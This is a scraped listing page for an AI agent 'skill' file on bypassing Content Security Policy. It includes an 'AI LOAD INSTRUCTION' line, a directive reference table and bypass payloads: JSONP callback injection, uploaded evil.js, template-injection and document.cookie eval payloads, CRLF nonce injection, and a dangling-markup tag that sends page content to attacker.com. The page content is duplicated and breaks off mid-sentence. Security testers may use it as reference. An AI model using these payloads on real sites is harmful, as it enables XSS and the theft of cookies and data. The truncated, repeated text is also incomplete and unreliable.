csp-bypass-advanced

Name: csp-bypass-advanced
Author: Prohao42

91stars8forks

How to install csp-bypass-advanced?

prohao42/aimy-skill/csp-bypass-advanced

$npx -y skills add Prohao42/aimy-skill --skill csp-bypass-advanced

Installs into the current project.

Summary

Advanced Content Security Policy bypass techniques. Use when XSS or data exfiltration is blocked by CSP and you need to find policy weaknesses, trusted endpoint abuse, nonce leakage, or exfiltration channels that CSP cannot block.

Files · 1

View on GitHub

SKILL.md

1	# SKILL: CSP Bypass — Advanced Techniques
2
3	> AI LOAD INSTRUCTION: Covers per-directive bypass techniques, nonce/hash abuse, trusted CDN exploitation, data exfiltration despite CSP, and framework-specific bypasses. Base models often suggest `unsafe-inline` bypass without checking if the CSP actually uses it, or miss the critical `base-uri` and `object-src` gaps.
4
5	## 0. RELATED ROUTING
6
7	- [xss-cross-site-scripting](../xss-cross-site-scripting/SKILL.md) for XSS vectors to deliver after CSP bypass
8	- [dangling-markup-injection](../dangling-markup-injection/SKILL.md) when CSP blocks scripts but HTML injection exists — exfiltrate without JS
9	- [crlf-injection](../crlf-injection/SKILL.md) when CRLF can inject CSP header or steal nonce via response splitting
10	- [waf-bypass-techniques](../waf-bypass-techniques/SKILL.md) when both WAF and CSP must be bypassed
11	- [clickjacking](../clickjacking/SKILL.md) when CSP lacks `frame-ancestors` — clickjacking still possible
12
13	---
14
15	## 1. CSP DIRECTIVE REFERENCE MATRIX
16
17	\| Directive \| Controls \| Default Fallback \|
18	\|---\|---\|---\|
19	\| `default-src` \| Fallback for all `-src` directives not explicitly set \| None (browser default: allow all) \|
20	\| `script-src` \| JavaScript execution \| `default-src` \|
21	\| `style-src` \| CSS loading \| `default-src` \|
22	\| `img-src` \| Image loading \| `default-src` \|
23	\| `connect-src` \| XHR, fetch, WebSocket, EventSource \| `default-src` \|
24	\| `frame-src` \| iframe/frame sources \| `default-src` \|
25	\| `font-src` \| Font loading \| `default-src` \|
26	\| `object-src` \| `<object>`, `<embed>`, `<applet>` \| `default-src` \|
27	\| `media-src` \| `<audio>`, `<video>` \| `default-src` \|
28	\| `base-uri` \| `<base>` element \| No fallback — unrestricted if absent \|
29	\| `form-action` \| Form submission targets \| No fallback — unrestricted if absent \|
30	\| `frame-ancestors` \| Who can embed this page (replaces X-Frame-Options) \| No fallback — unrestricted if absent \|
31	\| `report-uri` / `report-to` \| Where violation reports are sent \| N/A \|
32	\| `navigate-to` \| Navigation targets (limited browser support) \| No fallback \|
33
34	Critical insight: `base-uri`, `form-action`, and `frame-ancestors` do NOT fall back to `default-src`. Their absence is always a potential bypass vector.
35
36	---
37
38	## 2. BYPASS TECHNIQUES BY DIRECTIVE
39
40	### 2.1 `script-src 'self'`
41
42	The app only allows scripts from its own origin. Bypass vectors:
43
44	\| Vector \| Technique \|
45	\|---\|---\|
46	\| JSONP endpoints \| `<script src="/api/jsonp?callback=alert(1)//"></script>` — JSONP reflects callback as JS \|
47	\| Uploaded JS files \| Upload `.js` file (e.g., avatar upload accepts any extension) → `<script src="/uploads/evil.js"></script>` \|
48	\| DOM XSS sinks \| Find DOM sinks (innerHTML, eval, document.write) in existing same-origin JS — inject via URL fragment/param \|
49	\| Angular/Vue template injection \| If framework is loaded from `'self'`, inject template expressions: `{{constructor.constructor('alert(1)')()}}` \|
50	\| Service Worker \| Register SW from same origin → intercept and modify responses \|
51	\| Path confusion \| `<script src="/user-content/;/legit.js">` — server returns user content due to path parsing, but URL matches `'self'` \|
52
53	### 2.2 `script-src` with CDN Whitelist
54
55	```
56	script-src 'self' .googleapis.com .gstatic.com cdn.jsdelivr.net
57	```
58
59	\| Whitelisted CDN \| Bypass \|
60	\|---\|---\|
61	\| `cdnjs.cloudflare.com` \| Host arbitrary JS via CDNJS (find lib with callback/eval): `angular.js` → template injection \|
62	\| `cdn.jsdelivr.net` \| jsdelivr serves any npm package or GitHub file: `cdn.jsdelivr.net/npm/attacker-package@1.0.0/evil.js` \|
63	\| `*.googleapis.com` \| Google JSONP endpoints, Google Maps callback parameter \|
64	\| `unpkg.com` \| Same as jsdelivr — serves arbitrary npm packages \|
65	\| `*.cloudfront.net` \| CloudFront distributions are shared — any CF customer's JS is allowed \|
66
67	Trick: Search for JSONP endpoints on whitelisted domains: `site:googleapis.com inurl:callback`
68
69	### 2.3 `script-src 'unsafe-eval'`
70
71	`eval()`, `Function()`, `setTimeout(string)`, `setInterval(string)` all permitted.
72
73	```javascript
74	// Template injection → RCE-equivalent in browser
75	[].constructor.constructor('alert(document.cookie)')()
76
77	// JSON.parse doesn't execute code, but if result is used in eval context:
78	// App does: eval('var x = ' + JSON.parse(userInput))
79	```
80
81	### 2.4 `script-src 'nonce-xxx'`
82
83	Only scripts with matching nonce attribute execute.
84
85	\| Bypass \| Condition \|
86	\|---\|---\|
87	\| Nonce reuse \| Server uses same nonce across requests or for all users → predictable \|
88	\| Nonce injection via CRLF \| CRLF in response header → inject new CSP header with known nonce, or inject `<script nonce="known">` \|
89	\| Dangling markup to steal nonce \| `<img src="https://attacker.com/steal?` (unclosed) → page content including nonce l

People who liked this also viewed

6 picks

Type

csp-bypass-advanced

91stars8forks

View on GitHub

How to install csp-bypass-advanced?

prohao42/aimy-skill/csp-bypass-advanced

$npx -y skills add Prohao42/aimy-skill --skill csp-bypass-advanced

Installs into the current project.

Summary

Files · 1

View on GitHub

SKILL.md

1	# SKILL: CSP Bypass — Advanced Techniques
2
3	> AI LOAD INSTRUCTION: Covers per-directive bypass techniques, nonce/hash abuse, trusted CDN exploitation, data exfiltration despite CSP, and framework-specific bypasses. Base models often suggest `unsafe-inline` bypass without checking if the CSP actually uses it, or miss the critical `base-uri` and `object-src` gaps.
4
5	## 0. RELATED ROUTING
6
7	- [xss-cross-site-scripting](../xss-cross-site-scripting/SKILL.md) for XSS vectors to deliver after CSP bypass
8	- [dangling-markup-injection](../dangling-markup-injection/SKILL.md) when CSP blocks scripts but HTML injection exists — exfiltrate without JS
9	- [crlf-injection](../crlf-injection/SKILL.md) when CRLF can inject CSP header or steal nonce via response splitting
10	- [waf-bypass-techniques](../waf-bypass-techniques/SKILL.md) when both WAF and CSP must be bypassed
11	- [clickjacking](../clickjacking/SKILL.md) when CSP lacks `frame-ancestors` — clickjacking still possible
12
13	---
14
15	## 1. CSP DIRECTIVE REFERENCE MATRIX
16
17	\| Directive \| Controls \| Default Fallback \|
18	\|---\|---\|---\|
19	\| `default-src` \| Fallback for all `-src` directives not explicitly set \| None (browser default: allow all) \|
20	\| `script-src` \| JavaScript execution \| `default-src` \|
21	\| `style-src` \| CSS loading \| `default-src` \|
22	\| `img-src` \| Image loading \| `default-src` \|
23	\| `connect-src` \| XHR, fetch, WebSocket, EventSource \| `default-src` \|
24	\| `frame-src` \| iframe/frame sources \| `default-src` \|
25	\| `font-src` \| Font loading \| `default-src` \|
26	\| `object-src` \| `<object>`, `<embed>`, `<applet>` \| `default-src` \|
27	\| `media-src` \| `<audio>`, `<video>` \| `default-src` \|
28	\| `base-uri` \| `<base>` element \| No fallback — unrestricted if absent \|
29	\| `form-action` \| Form submission targets \| No fallback — unrestricted if absent \|
30	\| `frame-ancestors` \| Who can embed this page (replaces X-Frame-Options) \| No fallback — unrestricted if absent \|
31	\| `report-uri` / `report-to` \| Where violation reports are sent \| N/A \|
32	\| `navigate-to` \| Navigation targets (limited browser support) \| No fallback \|
33
34	Critical insight: `base-uri`, `form-action`, and `frame-ancestors` do NOT fall back to `default-src`. Their absence is always a potential bypass vector.
35
36	---
37
38	## 2. BYPASS TECHNIQUES BY DIRECTIVE
39
40	### 2.1 `script-src 'self'`
41
42	The app only allows scripts from its own origin. Bypass vectors:
43
44	\| Vector \| Technique \|
45	\|---\|---\|
46	\| JSONP endpoints \| `<script src="/api/jsonp?callback=alert(1)//"></script>` — JSONP reflects callback as JS \|
47	\| Uploaded JS files \| Upload `.js` file (e.g., avatar upload accepts any extension) → `<script src="/uploads/evil.js"></script>` \|
48	\| DOM XSS sinks \| Find DOM sinks (innerHTML, eval, document.write) in existing same-origin JS — inject via URL fragment/param \|
49	\| Angular/Vue template injection \| If framework is loaded from `'self'`, inject template expressions: `{{constructor.constructor('alert(1)')()}}` \|
50	\| Service Worker \| Register SW from same origin → intercept and modify responses \|
51	\| Path confusion \| `<script src="/user-content/;/legit.js">` — server returns user content due to path parsing, but URL matches `'self'` \|
52
53	### 2.2 `script-src` with CDN Whitelist
54
55	```
56	script-src 'self' .googleapis.com .gstatic.com cdn.jsdelivr.net
57	```
58
59	\| Whitelisted CDN \| Bypass \|
60	\|---\|---\|
61	\| `cdnjs.cloudflare.com` \| Host arbitrary JS via CDNJS (find lib with callback/eval): `angular.js` → template injection \|
62	\| `cdn.jsdelivr.net` \| jsdelivr serves any npm package or GitHub file: `cdn.jsdelivr.net/npm/attacker-package@1.0.0/evil.js` \|
63	\| `*.googleapis.com` \| Google JSONP endpoints, Google Maps callback parameter \|
64	\| `unpkg.com` \| Same as jsdelivr — serves arbitrary npm packages \|
65	\| `*.cloudfront.net` \| CloudFront distributions are shared — any CF customer's JS is allowed \|
66
67	Trick: Search for JSONP endpoints on whitelisted domains: `site:googleapis.com inurl:callback`
68
69	### 2.3 `script-src 'unsafe-eval'`
70
71	`eval()`, `Function()`, `setTimeout(string)`, `setInterval(string)` all permitted.
72
73	```javascript
74	// Template injection → RCE-equivalent in browser
75	[].constructor.constructor('alert(document.cookie)')()
76
77	// JSON.parse doesn't execute code, but if result is used in eval context:
78	// App does: eval('var x = ' + JSON.parse(userInput))
79	```
80
81	### 2.4 `script-src 'nonce-xxx'`
82
83	Only scripts with matching nonce attribute execute.
84
85	\| Bypass \| Condition \|
86	\|---\|---\|
87	\| Nonce reuse \| Server uses same nonce across requests or for all users → predictable \|
88	\| Nonce injection via CRLF \| CRLF in response header → inject new CSP header with known nonce, or inject `<script nonce="known">` \|
89	\| Dangling markup to steal nonce \| `<img src="https://attacker.com/steal?` (unclosed) → page content including nonce l

People who liked this also viewed

6 picks

Type